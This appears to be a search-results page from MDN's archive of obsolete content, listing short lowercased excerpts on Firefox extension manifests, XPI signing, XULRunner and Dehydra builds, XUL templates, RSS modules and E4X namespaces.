this file should be located in the main extension directory and look something like this: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>myextension@mycompany.com</em:id> <em:version>0.1</em:version> <em:targetapplication> <!-- firefox --> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>1.0+</em:minversion...
...> <em:maxversion>1.0+</em:maxversion> </description> </em:targetapplication> <!-- front-end metadata --> <em:name>my first extension</em:name> <em:description>just an example.</em:description> <em:creator>allpeers.com</em:creator> <em:homepageurl>http://www.allpeers.com/blog/</em:homepageurl> </description> </rdf> there's a detailed description of the format of the install.rdf file.
... original source: http://www.allpeers.com/blog/creating-complex-firefox-extensions/ ...
Multiple item extension packaging - Archive of obsolete content
the xml namespace xmlns:nc="http://home.netscape.com/nc-rdf#" must also be declared in your install.rdf as shown below.
...<rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:nc="http://home.netscape.com/nc-rdf#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <!-- nsiupdateitem type for a multiple item package --> <em:type nc:parsetype="integer">32</em:type> ...
...<rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <!-- nsiupdateitem type for a multiple item package --> <em:type>32</em:type> ...
Signing an XPI - Archive of obsolete content
download the latest network security services (nss) package from the mozilla ftp site at https://ftp.mozilla.org/pub/mozilla.or.../nss/releases/.
...download the latest netscape portable runtime from the mozilla ftp site: http://ftp.mozilla.org/pub/mozilla.org/nspr/releases/.
... copy install.rdf build >> %x%\build.log copy chrome.manifest build >>%x%\build.log signtool.exe -d c:\projects\codesigning -k "code signing (certum)" -p "password" build/ >> %x%\build.log cd build zip "%x%.xpi" meta-inf/zigbert.rsa >> %x%\build.log zip -r -d "%x%.xpi" * -x meta-inf/zigbert.rsa >> %x%\build.log rem copy "%x%.xpi" ..\..\..\http\fsb.xpi >> %x%\build.log move "%x%.xpi" ..\ >> %x%\build.log cd ..
Firefox addons developer guide - Archive of obsolete content
there should be some introductory text on the table of contents page at https://developer.mozilla.org/en/firefox_addons_developer_guide obviously there are a number of fixme items in the content that need dealing with, but those are already known.
... the stuff about installing the dom inspector (https://developer.mozilla.org/en/firefox_addons_developer_guide/let%27s_build_a_firefox_extension#install_the_dom_inspector) is not accurate for firefox 3 or later, since it's no longer included in the firefox installer and must be downloaded from amo.
... for example, here: https://developer.mozilla.org/en/firefox_addons_developer_guide/let's_build_a_firefox_extension#init_method the text of the paragraph should begin "the <code>init()</code> method is as shown...".
List of Mozilla-Based Applications - Archive of obsolete content
ing mozilla in 2004 but i’m not sure if new version still does hacketyhack little coders helma web application framework uses mozilla rhino holt mcdougal cd-roms educational cd-roms activity generator and lab generator are both based on custom firefox distributions houdini 3d animation tools uses gecko in embedded help viewer httpunit automated testing framework uses mozilla rhino htmlunit browser for java programs uses mozilla rhino hyperinfo web application plat form uses goeckofx ibm websphere lombardi edition business process management system uses mozilla rhino and mozilla xpcom eclipse plug-in.
... other places to find mozilla applications include: http://www.mozilla.org/projects/ http://developer.mozilla.org/en/docs/xulrunner_hall_of_fame http://www.mozdev.org http://xulapps.net/ http://dmoz.org/computers/data_formats/markup_languages/xml/applications/xul/applications/ http://blog.mozbox.org/post/2007/06/14/xul-activity-in-france http://www.mozilla.org/projects/security/pki/nss/overview.html http://en.wikipedia.org/wiki/spidermonkey_(jav...
...ascript_engine) http://www.mozilla.org/rhino/users.html http://groups.google.com/group/mozilla.dev.tech.js-engine.rhino/browse_thread/thread/4eb9162c9c3054b0/1d4115b40373ca3b?lnk=raot http://www.ohloh.net/tags/xulrunner ...
Installing Dehydra - Archive of obsolete content
cd $home hg clone http://hg.mozilla.org/mozilla-central/ cd mozilla-central hg update aurora_base_20110705 cd js/src autoconf-2.13 mkdir $home/obj-js cd $home/obj-js $home/mozilla-central/js/src/configure --enable-optimize --disable-debug make it has to be checked whether later/newer branches (like aurora_base_20120131) are working, too.
...cd $home # obtain gcc 4.5.3 (see http://gcc.gnu.org/mirrors.html for alternate mirrors) wget http://www.netgull.com/gcc/releases/gcc-4.5.3/gcc-4.5.3.tar.bz2 tar -jxvf gcc-4.5.3.tar.bz2 # apply plugin_finish_decl patch wget https://bug559964.bugzilla.mozilla.o....cgi?id=457606 -o finish_decl.diff cd gcc-4.5.3 patch -p0 < ../finish_decl.diff # build gcc cd ..
...(obsolete dehydra releases can be found on the mozilla ftp site.) hg clone http://hg.mozilla.org/rewriting-and-analysis/dehydra/ cd dehydra export cxx=/usr/bin/g++ ./configure \ --js-headers=$home/obj-js/dist/include \ --js-libs=$home/obj-js make # run dehydra and treehydra tests make check usage dehydra checking can be performed directly within the mozilla build.
JavaScript Client API - Archive of obsolete content
ng the firefox sync apis in connection with the development of your own client software to access the firefox sync services (a “third party client”), you acknowledge that you will need to install and use a local version of the firefox sync server for multiple account testing and that any use of mozilla’s hosted firefox sync services is subject to mozilla’s firefox sync terms of service at https://services.mozilla.com/tos/.
... before starting before you start learning the javascript api, you should spend some time on http://docs.services.mozilla.com/ reading about how the sync service operates.
...see https://wiki.mozilla.org/services/sync for their contact information.
Twitter - Archive of obsolete content
in fact it's hardly more than syntactic sugar for doing xmlhttprequests.
... error(xmlhttprequest, textstatus, errorthrown) xmlhttprequest is the xhr used in the request.
...both methods use http basic authentication.
First run - Archive of obsolete content
visit my <a href="http://example.com/myjetpack">homepage</a>.</p>' }; this does the same but uses e4x xml: var manifest = { firstrunpage: <> <p> thanks for installing!
... visit my <a href="http://example.com/myjetpack">homepage</a>.
... </p> </> }; in this example, the page at http://example.com/myjetpack becomes the first-run page: var manifest = { firstrunpage: "http://example.com/myjetpack" }; first-run callback you can register a callback that will be called after your jetpack has been successfully installed.
jspage - Archive of obsolete content
=undefined)?"ipod":(navigator.platform.match(/mac|win|linux/i)||["other"])[0].tolowercase()},features:{xpath:!!(document.evaluate),air:!!(window.runtime),query:!!(document.queryselector)},plugins:{},engines:{presto:function(){return(!window.opera)?false:((arguments.callee.caller)?960:((document.getelementsbyclassname)?950:925)); },trident:function(){return(!window.activexobject)?false:((window.xmlhttprequest)?((document.queryselectorall)?6:5):4);},webkit:function(){return(navigator.taintenabled)?false:((browser.features.xpath)?((browser.features.query)?525:420):419); },gecko:function(){return(!document.getboxobjectfor&&window.mozinnerscreenx==null)?false:((document.getelementsbyclassname)?19:18);}}},browser||{});browser.platform[browser.platform.name]=true; browser.detect=function(){for(var b ...
...in this.engines){var a=this.engines[b]();if(a){this.engine={name:b,version:a};this.engine[b]=this.engine[b+a]=true; break;}}return{name:b,version:a};};browser.detect();browser.request=function(){return $try(function(){return new xmlhttprequest();},function(){return new activexobject("msxml2.xmlhttp"); },function(){return new activexobject("microsoft.xmlhttp");});};browser.features.xhr=!!(browser.request());browser.plugins.flash=(function(){var a=($try(function(){return navigator.plugins["shockwave flash"].description; },function(){return new activexobject("shockwaveflash.shockwaveflash").getvariable("$version");})||"0 r0").match(/\d+/g);return{version:parseint(a[0]||0+"."+a[1],10)||0,build:parseint(a[2],10)||0}; })();function $exec(b){if(!b){return b;}if(window.execscript){window.execscript(b)...
...>=(7-4*d)/11){e=c*c-math.pow((11-6*d-11*f)/4,2); break;}}return e;},elastic:function(b,a){return math.pow(2,10*--b)*math.cos(20*b*math.pi*(a[0]||1)/3);}});["quad","cubic","quart","quint"].each(function(b,a){fx.transitions[b]=new fx.transition(function(c){return math.pow(c,[a+2]); });});var request=new class({implements:[chain,events,options],options:{url:"",data:"",headers:{"x-requested-with":"xmlhttprequest",accept:"text/javascript, text/html, application/xml, text/xml, */*"},async:true,format:false,method:"post",link:"ignore",issuccess:null,emulation:true,urlencoded:true,encoding:"utf-8",evalscripts:false,evalresponse:false,nocache:false},initialize:function(a){this.xhr=new browser.request(); this.setoptions(a);this.options.issuccess=this.options.issuccess||this.issuccess;this.headers=new ha...
Makefile.mozextension.2 - Archive of obsolete content
then again if you do that, all of the < > will be quoted as & lt ; so again it will be corrupt :( therefore, here is a direct link to this makefile: makefile.mozextension2 ## file: makefile.mozextension2 ## based on http://kb.mozillazine.org/makefile_for_packaging_an_extension ## "this makefile.mozextention is for the test extension" ## the original makefile.mozextention reconstructs http://kb.mozillazine.org/getting_started_with_extension_development # call with: # make -f makefile.mozextension2 make_structure ## (without args for 'all') # note: @echo silent; without @ the command is written in stdout project...
...# #firefox {ec8030f7-c20a-464f-9b0e-13a3a9e97384} #thunderbird {3550f703-e582-4d05-9a08-453d09bdfdc6} #nvu {136c295a-4a5a-41cf-bf24-5cee526720d5} #mozilla suite {86c18b42-e466-45a9-ae7a-9b95ba6f5640} #seamonkey {92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a} #sunbird {718e30fb-e89b-41dd-9da7-e25a45638b28} #netscape browser {3db10fab-e461-4c80-8b97-957ad5f8ea47} ###### define install_rdf <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <id>$(project_id)</id> <name>$(project_name)</name> <version>$(project_version)</version> <description>$(project_desc)</description> <creator>$(project_author)</creator> <contributor>here is a place for you who helped me</contributor> <homepageurl>http://$...
...(project).mozdev.org/</homepageurl> <optionsurl>chrome://$(project)/content/settings.xul</optionsurl> <abouturl>chrome://$(project)/content/about.xul</abouturl> <iconurl>chrome://$(project)/skin/mainicon.png</iconurl> <updateurl>http://$(project).mozdev.org/update.rdf</updateurl> <type>2</type> <targetapplication> <description> <id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</id> <minversion>2.0</minversion> <maxversion>9.0</maxversion> </description> </targetapplication> </description> </rdf> endef export install_rdf install.rdf: @echo generating $(project)/install.rdf @echo "$$install_rdf" > $(project)/install.rdf ###### define overlay_xul <overlay id="$(project)-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"><script src="overlay.js"/></o...
How to Write and Land Nanojit Patches - Archive of obsolete content
repository: http://hg.mozilla.org/projects/nanojit-central (or clone ssh://hg.mozilla.org/projects/nanojit-central if you want to actually commit changes) tinderbox: http://tinderbox.mozilla.org/showbuilds.cgi?tree=nanojit commit log: http://hg.mozilla.org/projects/nanojit-central/shortlog/ irc channel: irc.mozilla.org #nanojit procedure the first thing to understand is that there are now three copies of nanojit...
...(note that nanojit-central revision urls have the form http://hg.mozilla.org/projects/nanojit-central/<revid>, ie.
... see https://bugzilla.mozilla.org/show_bug.cgi?id=529900 for an example.
Mozilla Web Developer Community - Archive of obsolete content
newsgroups, mailing lists, and forums by topic: css - mozilla.dev.tech.css dom - mozilla.dev.tech.dom html - mozilla.dev.tech.html plugins - mozilla.dev.tech.plugins xml - mozilla.dev.tech.xml documentation - see mdc:community more at http://www.mozilla.org/community/dev...er-forums.html mozillazine forums mozilla news and development help mozilla (testing and development) mozdev.org mozillazine planet mozilla spread firefox standards communities get involved in grass-roots web standards evangelism efforts through these groups: the web standards project, a grassroots coalition fighting for standards maccaws, making a commercial ...
...archived devedge newsletters are at http://devedge-temp.mozilla.org/community/news/ feeds recent changes rss feed warning: this feed is updated very often.
...the list of old devedge feeds is at http://devedge-temp.mozilla.org/comm.../feedlist.html feedback hendrix mdnproduct feedback bugzilla - report a bug in a mozilla product for questions related to this website (but not technical questions), please send your message to the mdc mailing list.
XML in Mozilla - Archive of obsolete content
the correct xhtml namespace is http://www.w3.org/1999/xhtml please note that the xhtml entities, like &auml;, work only in conforming xhtml documents that have a valid xhtml formal public identifier (or in other words, a doctype section with a public identifier).
...you can make any xml element into an xlink by using the xlink namespace http://www.w3.org/1999/xlink.
...outside supported xml w3c recommendations specification or technology documentation mozilla project xslt w3c recommendation xslt xpath w3c recommendation xslt xmlhttprequest w3c recommendation xml extras request api (no longer supported) mozilla add-on sdk domparser and xmlserializer mozilla xml extras sax sax soap (no longer supported) w3c note web services xml-rpc (no longer supported) userland software xml...
Properties - Archive of obsolete content
startsoftwareupdate("http://webserver/argstest.xpi?argument_string") will result in the value of install.arguments being argument_string #).
... url the fully qualified url of the xpi (file url, http url, ftp url, etc.) (e.g.
... http://dolfin/sgehani/zzz/ip.xpi).
Introduction - Archive of obsolete content
here is an example: <vbox datasources="http://www.xulplanet.com/ds/sample.rdf" querytype="rdf"> this example specifies the datasource 'http://www.xulplanet.com/ds/sample.rdf', using the datasource type rdf as indicated by the querytype attribute'.
...for example: <listbox datasources="http://www.xulplanet.com/ds/sample.xml" querytype="xml"> <template> <listitem label="?name"/> </template> </listbox> this template uses an xml datasource to generate a listbox.
...<vbox datasources="rdf:bookmarks http://www.xulplanet.com/ds/sample.rdf"> in addition, when using the rdf type for chrome xul (such as in extensions), the datasource rdf:local-store is always included in the composite.
Sorting Results - Archive of obsolete content
here is a sample of how to specify this in the rdf/xml datasource: <rdf:rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:r="http://www.xulplanet.com/rdf/" xmlns:nc="http://home.netscape.com/nc-rdf#"> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/palace.jpg"> <r:date nc:parsetype="date">1125966767295<r:date> </rdf:description> </rdf:rdf> you can also specify parsetype=...
...for instance: <treecol id="name" label="name" sort="rdf:http://purl.org/dc/elements/1.1/title" flex="1"/> note that all of this discussion about sorting only applies to tree builders.
...for rdf datasources, you can also use an rdf predicate for sorting instead of a variable: <hbox datasources="template-guide-photos5.rdf" sort="http://purl.org/dc/elements/1.1/title" sortdirection="ascending" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <vbox class="box-padded" uri="rdf:*"> <image src="rdf:*"/> <label value="rdf:http://purl.org/dc/elements/1.1/title"/> </vbox> </template> </hbox> in this example, the generated items will be sorted by title.
Template Builder Interface - Archive of obsolete content
this isn't a very common technique, however, here is an example of how this can be used: <html:div id="photoslist" datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos" xmlns:html="http://www.w3.org/1999/xhtml"> <html:h1>my photos</html:h1> <template> <html:p uri="rdf:*"><textnode value="rdf:http://purl.org/dc/elements/1.1/title"/></html:p> </template> </html:div> this example generates three paragraphs.
... getservice(components.interfaces.nsirdfservice); var ds = rdf.getdatasource("http://www.xulplanet.com/ndeakin/tests/xul/template-guide-streets.rdf"); var tree = document.getelementbyid("thetree"); tree.database.adddatasource(ds); tree.builder.rebuild(); this is the typical way to add a datasource to an element, in this case to the tree with the id 'thetree'.
...<tree datasources="rdf:null" ref="http://www.xulplanet.com/rdf/myphotos"> this will create a composite datasource with no datasources in it.
Things I've tried to do with XUL - Archive of obsolete content
html elements have the non-standard clientwidth/clientheight properties (see http://www.mozilla.org/docs/dom/domr...entheight.html); no equivalent exists for xul.
...an ugly workaround for this problem might include nesting an invisible html-element in order to access its "clientwidth" method: <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> ...
... <html:body id="invisible_element" flex="1" > <svg xmlns="http://www.w3.org/2000/svg" version="1.1"><!-- ...or _visible_ xul content or whatever...
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
paste it into the new file: <?xml version="1.0" encoding="utf-8"?> <!doctype rdf:rdf> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <rdf:seq rdf:about="urn:mozilla:package:root"> <rdf:li rdf:resource="urn:mozilla:package:custombutton"/> </rdf:seq> <rdf:description rdf:about="urn:mozilla:package:custombutton" chrome:displayname="custom button" chrome:description="my custom toolbar button" chrome:author...
...paste it into the new file: <?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet type="text/css" href="chrome://custombutton/content/button.css"?> <!doctype overlay > <overlay id="custombutton-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://custombutton/content/button.js"/> <!-- browser --> <toolbar id="nav-bar"> <hbox id="nav-bar-buttons"> <toolbarbutton id="custom-button-1"/> </hbox> </toolbar> <!-- address book --> <toolbar id="abtoolbar"> <hbox id="toolbar_button_box"> <toolbarbutton id="custom-bu...
...now open a new text document in the same folder, pasting the following text within: <?xml version="1.0" encoding="utf-8"?> <!doctype rdf:rdf> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <rdf:seq rdf:about="urn:mozilla:package:root"> <rdf:li rdf:resource="urn:mozilla:package:myapp"/> </rdf:seq> <rdf:description rdf:about="urn:mozilla:package:myapp" chrome:displayname="myapp" chrome:description="my first xul app" chrome:author="yours ...
Content Panels - Archive of obsolete content
iframe example example 1 : source view <toolbox> <toolbar id="nav-toolbar"> <toolbarbutton label="back" /> <toolbarbutton label="forward" /> <textbox id="urlfield" /> </toolbar> </toolbox> <iframe id="content-body" src="http://www.mozilla.org/index.html" flex="1" /> the example here has created a very simple interface for a web browser.
... browser example example 2 : source view <browser src="http://www.mozilla.org" flex="1" /> as with the iframe, you can specify the url in a browser using the src attribute.
...an example: <browser src="http://www.mozilla.org" type="content" flex="1" /> important: you must set the type attribute correctly if you are going to be displaying remote web sites inside the browser element.
Trees and Templates - Archive of obsolete content
<tree id="my-tree" flex="1" datasources="rdf:files" ref="nc:filesroot" flags="dont-build-content"> <treecols> <treecol id="name" label="name" primary="true" flex="1"/> <splitter/> <treecol id="date" label="date" flex="1"/> </treecols> <template> <rule> <treechildren> <treeitem uri="rdf:*"> <treerow> <treecell label="rdf:http://home.netscape.com/nc-rdf#name"/> <treecell label="rdf:http://home.netscape.com/web-rdf#lastmodifieddate"/> </treerow> </treeitem> </treechildren> </rule> </template> </tree> here, a tree is created with two columns, for the name and date of a file.
...the following example changes the columns in the earlier example to incorporate the extra features: <treecols> <treecol id="name" label="name" flex="1" primary="true" sortactive="true" sortdirection="ascending" sort="rdf:http://home.netscape.com/nc-rdf#name"/> <splitter/> <treecol id="date" label="date" flex="1" sort="rdf:http://home.netscape.com/web-rdf#lastmodifieddate"/> </treecols> persisting column state one additional thing you might want to do is persist which column is currently sorted, so that it is remembered between sessions.
...the following example shows a sample column: <treecol id="date" label="date" flex="1" persist="width ordinal hidden sortactive sortdirection" sort="rdf:http://home.netscape.com/web-rdf#lastmodifieddate"/> more details about the persist attribute will be described in the later section.
XPCOM Examples - Archive of obsolete content
we can use this as in the following example: example 1 : source <toolbox> <menubar id="windowlist-menubar"> <menu label="window"> <menupopup id="window-menu" datasources="rdf:window-mediator" ref="nc:windowmediatorroot"> <template> <rule> <menuitem uri="rdf:*" label="rdf:http://home.netscape.com/nc-rdf#name"/> </rule> </template> </menupopup> </menu> </menubar> </toolbox> a window menu will be created with a list of all the open windows.
... the example below shows how we might do this: <toolbox> <menubar id="windowlist-menubar"> <menu label="window" oncommand="switchfocus(event.target);"> <menupopup id="window-menu" datasources="rdf:window-mediator" ref="nc:windowmediatorroot"> <template> <rule> <menuitem uri="rdf:*" label="rdf:http://home.netscape.com/nc-rdf#name"/> </rule> </template> </menupopup> </menu> </menubar> </toolbox> <script> function switchfocus(elem) { var mediator = components.classes["@mozilla.org/rdf/datasource;1?name=window-mediator"].getservice(); mediator.queryinterface(components.interfaces.nsiwindowdatasource); var resource = elem.getattribute('id'); switchwindow = mediator.getw...
... code snippets http://kb.mozillazine.org/category:xpcom_example_code next, we'll look at how to create trees.
Debugging a XULRunner Application - Archive of obsolete content
precompiled binaries are available in the zipped archive https://github.com/matthewkastor/redirector/archive/master.zip under redirector-master\gecko\console redirector\bin\release copy all the dll's and the exe to wherever you want.
... note the "new in firefox 3" attribute "contentaccessible" on https://developer.mozilla.org/en/chrome_registration so as per http://markmail.org/message/ezbomhkw3bgqjllv#query:x-jsd+page:1+mid:xvlr7odilbyhn6v7+state:results change the manifest to have this line: content venkman jar:venkman.jar!/content/venkman/ contentaccessible=yes i get errors about not being able to open contentareautils.js, contentareadd.js, findutils.js, or contentareautils.js...
... inspired by http://article.gmane.org/gmane.comp.mozilla.devel.jsdebugger/859 i extracted venkman.jar, opened venkman\content\venkman\venkman-scripts.xul and changed: @@ -54,11 +54,11 @@ <script src="chrome://global/content/nstransferable.js" /> <script src="chrome://global/content/nsclipboard.js" /> <script src="chrome://global/content/nsdraganddrop.js" /> - <script src="chrome://communicator/content/contentareautils.js" /> - <script src="chrome://communicator/content/contentareadd.js" /> - <script src="chrome://communicator/content/findutils.js" /> - <script src="chrome://browser/content/contentareautils.js" /> + <script src="chrome://global/content/contentareautils.js" /> + <script src="chrome://global/content/contentareadd.js" /...
Getting started with XULRunner - Archive of obsolete content
one way to achieve this is to run the following script everytime you want to install a new version: firefox_version=`grep -po "\d{2}\.\d+" /usr/lib/firefox/platform.ini` arch=`uname -p` xurl=https://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/$firefox_version/runtimes/xulrunner-$firefox_version.en-us.linux-$arch.tar.bz2 cd /opt sudo sh -c "wget -o- $xurl | tar -xj" sudo ln -s /opt/xulrunner/xulrunner /usr/bin/xulrunner sudo ln -s /opt/xulrunner/xpcshell /usr/bin/xpcshell you could also save this script to a file for convenience.
...you can download the sample application from https://github.com/matthewkastor/xulrunner-examples.
... main.xul: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="main" title="my app" width="300" height="300" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://myapp/content/main.js"/> <caption label="hello world"/> <separator/> <button label="more >>" oncommand="showmore();"/> <separator/> <description id="more-text" hidden="true">this is a simple xulrunner application.
Mozprofile - Archive of obsolete content
please see the maintained documentation of mozprofile at http://mozbase.readthedocs.org/en/latest/mozprofile.html.
...see https://github.com/mozilla/mozbase/b...permissions.py resources other mozilla programs offer additional and overlapping functionality for profiles.
... python-profilemanager : python cli interface similar to profilemanager profile documentation : http://support.mozilla.com/kb/profiles ...
Why RSS Content Module is Popular - Including HTML Contents - Archive of obsolete content
an example using the most popular element of the rss content module is shown below: <?xml version="1.0"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" > <channel> <title>example</title> <description>an rss example with slash</description> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>a link in here</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7...
...d:2005/05/15/114</guid> <pubdate>sun, 15 may 2005 13:02:08 -0500</pubdate> <link>http://www.example.com/blog/2005/05/15/114</link> <content:encoded><![cdata[this is a <a href="http://example.com/">link</a>.]]></content:encoded> </item> <item> <title>some italics html</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/113</guid> <pubdate>sun, 15 may 2005 10:55:12 -0500</pubdate> <link>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/113</link> <content:encoded><![cdata[this is <i>italics</i>.]]></content:encoded> </item> <item> <title>some bold html</title> <guid>d77d2e80-0487-4e8c-a35d-a93f1...
...2a0ff7d:2005/05/15/112</guid> <pubdate>sun, 15 may 2005 08:14:11 -0500</pubdate> <link>http://www.example.com/blog/2005/05/15/112</link> <content:encoded><![cdata[this is <b>bold</b>.]]></content:encoded> </item> </channel> </rss> the <content:encoded> element is the reason that the rss content module is popular.
Why RSS Slash is Popular - Counting Your Comments - Archive of obsolete content
an example using the most popular element of the rss slash module is shown below: <?xml version="1.0"> <rss version="2.0" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>example</title> <description>an rss example with slash</description> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>review of sin city</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0f...
...f7d:2005/05/15/114</guid> <pubdate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate></pubdate> <link>http://www.example.com/blog/2005/05/15/114</link> <slash:comments>43</slash:comments> </item> <item> <title>what is the 3571st prime number</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/113</guid> <pubdate>sun, 15 may 2005 10:55:12 -0500</lastbuilddate></pubdate> <link>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/113</link> <slash:comments>72</slash:comments> </item> <item> <title>first article!</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/112</guid> <pu...
...bdate>sun, 15 may 2005 08:14:11 -0500</lastbuilddate></pubdate> <link>http://www.example.com/blog/2005/05/15/112</link> <slash:comments>118</slash:comments> </item> </channel> </rss> the <slash:comments> element is it reason that the rss slash module is popular.
0.90 - Archive of obsolete content
ArchiveRSSVersion0.90
examples rss 0.90 looked something like this: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://my.netscape.com/rdf/simple/0.9/" > <channel> <title>mozilla dot org</title> <link>http://www.mozilla.org</link> <description>the mozilla organization web site</description> </channel> <image> <title>mozilla</title> <url>http://www.mozilla.org/image...
...s/moz.gif</url> <link>http://www.mozilla.org</link> </image> <item> <title>new status updates</title> <link>http://www.mozilla.org/status/</link> </item> <item> <title>bugzilla reorganized</title> <link>http://www.mozilla.org/bugs/</link> </item> <item> <title>mozilla party, 2.0!</title> <link>http://www.mozilla.org/party/1999/</link> </item> <item> <title>unix platform parity</title> <link>http://www.mozilla.org/build/unix.html</link> </item> <item> <title>npl 1.0m published</title> <link>http://www.mozilla.org/npl/npl-1.0m.html</link> </item> </rdf:rdf> note ...
... specification the original rss 0.90 specification has disappeared from its original location: http://my.netscape.com/publish/help/quickstart.html copies of it have been saved, and can be viewed at the following locations: http://www.purplepages.ie/rss/netscape/rss0.90.html http://web.archive.org/web/*/http://...uickstart.html ...
Browser Detection and Cross Browser Support - Archive of obsolete content
user agent strings are defined in the http protocol and are available to web servers (see rfc 1945 - hypertext transfer protocol 1.0 and rfc 2068 - hypertext transfer protocol 1.1).
...netscape 6's user agent string follows the http standards for specifying the version of the user agent.
... see also window.navigator.useragent links gecko compatibility handbook gecko user agent string reference object cross reference - navigator browser feature detection gecko user agent strings rfc 1945 - hypertext transfer protocol -- http 1.0 rfc 2068 - hypertext transfer protocol -- http 1.1 [mozilla's quirks mode] css enhancements in internet explorer 6 w3c w3c markup w3c technical recommendations w3c html 4.01 w3c css 1 w3c css 2 w3c dom core 2 w3c dom html 2 w3c dom style 2 original document information author(s): bob clary last updated date: 10 feb 2003 ...
-ms-filter - Archive of obsolete content
code example: http://samples.msdn.microsoft.com/workshop/samples/author/dhtml/refs/filter_8.htm -ms-filter: 'progid:dximagetransform.microsoft.motionblur(strength=50), progid:dximagetransform.microsoft.basicimage(mirror=1)'; the following example shows how to use an inline style sheet to set the filter on an image.
... code example: http://samples.msdn.microsoft.com/workshop/samples/author/dhtml/refs/filter_h.htm <img style="filter:progid:dximagetransform.microsoft.motionblur(strength=50) progid:dximagetransform.microsoft.basicimage(mirror=1)" src="/workshop/samples/author/dhtml/graphics/cone.jpg" height="80px" width="80px" alt="cone"> the following example shows how to use scripting to set the filter on an image.
... code example: http://samples.msdn.microsoft.com/workshop/samples/author/dhtml/refs/filter_s.htm <body> <p>click the image to start the filter.</p> // call the function.
Namespaces - Archive of obsolete content
you can declare the default namespace for your e4x objects by placing the statement: default xml namespace = "http://www.w3.org/1999/xhtml"; within the same scope as your e4x.
...default xml namespace = "http://www.w3.org/1999/xhtml"; var a = <p>some text</p>; default xml namespace = "http://www.mozilla.org/keymaster/gat...re.is.only.xul"; var b = <label>more text</label>; a.appendchild(b); gives <p xmlns="http://www.w3.org/1999/xhtml"> some text <label xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul">more text</label> </p> name() using name() on an xml object returns a qname object (qualified name).
...info.uri; // returns "http://www.w3.org/1999/xhtml" elements in no namespace return the empty string as their uri.
RDF in Fifty Words or Less - Archive of obsolete content
that "internet resource" was a uri that pointed to a cgi script (say, http://www.mozilla.org/smart-mail/get-mail.cgi?user=waterson&folder=inbox).
... the cgi script actually generatesserialized rdf, which is basically just a way of formatting a graph into xml: <rdf:rdf xmlns:rdf="http://www.w3.org/tr/wd-rdf-syntax#" xmlns:sm="http://www.mozilla.org/smart-mail/schema#"> <rdf:description about="http://www.mozilla.org/smart-mail/get-mail.cgi?user=waterson&folder=inbox"> <sm:message id="4025293"> <sm:recipient> chris waterson "waterson@netscape.com" </sm:recipient> <sm:sender> aunt helga "helga@netcenter.net" </sm:sender> <sm:received-by>x-wing.mcom.com</sm:received-by> <sm:subject>great recipe for yam soup!</sm:subject> <sm:body> http://www.mozilla.org/smart-mail/get-body.cgi?id=4025293 </sm:body> </sm:message> <sm:...
...message id="4025294"> <sm:recipient> chris waterson "waterson@netscape.com" </sm:recipient> <sm:sender> sarah waterson "waterson.2@postbox.acs.ohio-state.edu" </sm:sender> <sm:received-by>x-wing.mcom.com</sm:received-by> <sm:subject>we won our ultimate game</sm:subject> <sm:body> http://www.mozilla.org/smart-mail/get-body.cgi?id=4025294 </sm:body> </sm:message> </rdf:description> </rdf:rdf> upon receipt of the above monstrosity, the rdf engine folds the rdf into the graph at the appropriate place, and the tree control that actually implements the ui to the bookmarks is notified that it should begin drawing some icons for the latest message about yam soup from aunt helga.
Audio for Web games - Game development
